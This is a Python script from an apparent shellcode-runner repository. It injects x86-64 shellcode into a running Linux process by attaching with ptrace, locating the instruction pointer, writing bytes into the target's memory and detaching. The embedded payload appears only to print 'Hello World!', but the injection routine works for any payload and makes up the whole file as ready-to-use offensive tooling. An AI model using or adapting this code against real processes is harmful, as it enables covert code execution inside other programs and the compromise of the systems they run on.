1+ #!/usr/bin/env python3
2+ # -*- coding: utf-8 -*-
3+
4+ ###################
5+ # This repository implements multiples way to execute
6+ # shellcode with different platforms, systems and languages.
7+ # Copyright (C) 2023 Maurice Lambert
8+
9+ # This program is free software: you can redistribute it and/or modify
10+ # it under the terms of the GNU General Public License as published by
11+ # the Free Software Foundation, either version 3 of the License, or
12+ # (at your option) any later version.
13+
14+ # This program is distributed in the hope that it will be useful,
15+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
16+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
17+ # GNU General Public License for more details.
18+
19+ # You should have received a copy of the GNU General Public License
20+ # along with this program. If not, see <https://www.gnu.org/licenses/>.
21+ ###################
22+
23+ """
24+ This repository implements multiples way to execute
25+ shellcode with different platforms, systems and languages.
26+ """
27+
28+ __version__ = "0.0.1"
29+ __author__ = "Maurice Lambert"
30+ __author_email__ = "mauricelambert434@gmail.com"
31+ __maintainer__ = "Maurice Lambert"
32+ __maintainer_email__ = "mauricelambert434@gmail.com"
33+ __description__ = """
34+ This repository implements multiples way to execute
35+ shellcode with different platforms, systems and languages.
36+ """
37+ license = "GPL-3.0 License"
38+ __url__ = "https://github.com/mauricelambert/ShellcodeRunners"
39+
40+ copyright = """
41+ ShellcodeRunners Copyright (C) 2023 Maurice Lambert
42+ This program comes with ABSOLUTELY NO WARRANTY.
43+ This is free software, and you are welcome to redistribute it
44+ under certain conditions.
45+ """
46+ __license__ = license
47+ __copyright__ = copyright
48+
49+ __all__ = []
50+
51+ print (copyright )
52+
53+ from ctypes import cdll , c_char_p , c_ulonglong , c_void_p
54+ from sys import argv , stderr , exit
55+
56+ if len (argv ) != 2 :
57+ print ("USAGES: python3 shellcode_injection_Linux.py <pid:integer>" , file = stderr )
58+ exit (1 )
59+
60+ pid = int (argv [1 ])
61+ libc = cdll .LoadLibrary ("libc.so.6" )
62+ shellcode = (
63+ b"\x48 \xb8 \x72 \x6c \x64 \x21 \x0a \x00 \x00 \x00 \x50 \x48 \xb8 \x48 \x65 \x6c "
64+ b"\x6c \x6f \x20 \x57 \x6f \x50 \x48 \xc7 \xc7 \x01 \x00 \x00 \x00 \x48 \x89 \xe6 "
65+ b"\x48 \xc7 \xc2 \x0d \x00 \x00 \x00 \x48 \xc7 \xc0 \x01 \x00 \x00 \x00 \x0f \x05 "
66+ )
67+
68+ if libc .ptrace (16 , pid , None , None ):
69+ print ("ptrace attach failed" , file = stderr )
70+ exit (2 )
71+
72+ if libc .waitpid (pid , None , 0 ) != pid :
73+ print ("wait pid failed" , file = stderr )
74+ exit (3 )
75+
76+ registers = c_char_p ((b'\0 ' * 8 ) * 27 )
77+ if libc .ptrace (12 , pid , None , registers ):
78+ print ("ptrace get registers failed" , file = stderr )
79+ exit (4 )
80+
81+ rip = int .from_bytes (registers ._objects [16 * 8 :17 * 8 ], byteorder = 'little' )
82+ rip += 2
83+
84+ while shellcode :
85+ if libc .ptrace (4 , pid , c_void_p (rip ), c_ulonglong (int .from_bytes (shellcode [:8 ], byteorder = 'little' ))):
86+ print ("ptrace write data failed" , file = stderr )
87+ exit (5 )
88+ shellcode = shellcode [8 :]
89+ rip += 8
90+
91+ if libc .ptrace (17 , pid , None , None ):
92+ print ("ptrace detach failed" , file = stderr )
93+ exit (6 )
94+
95+ exit (0 )
0 commit comments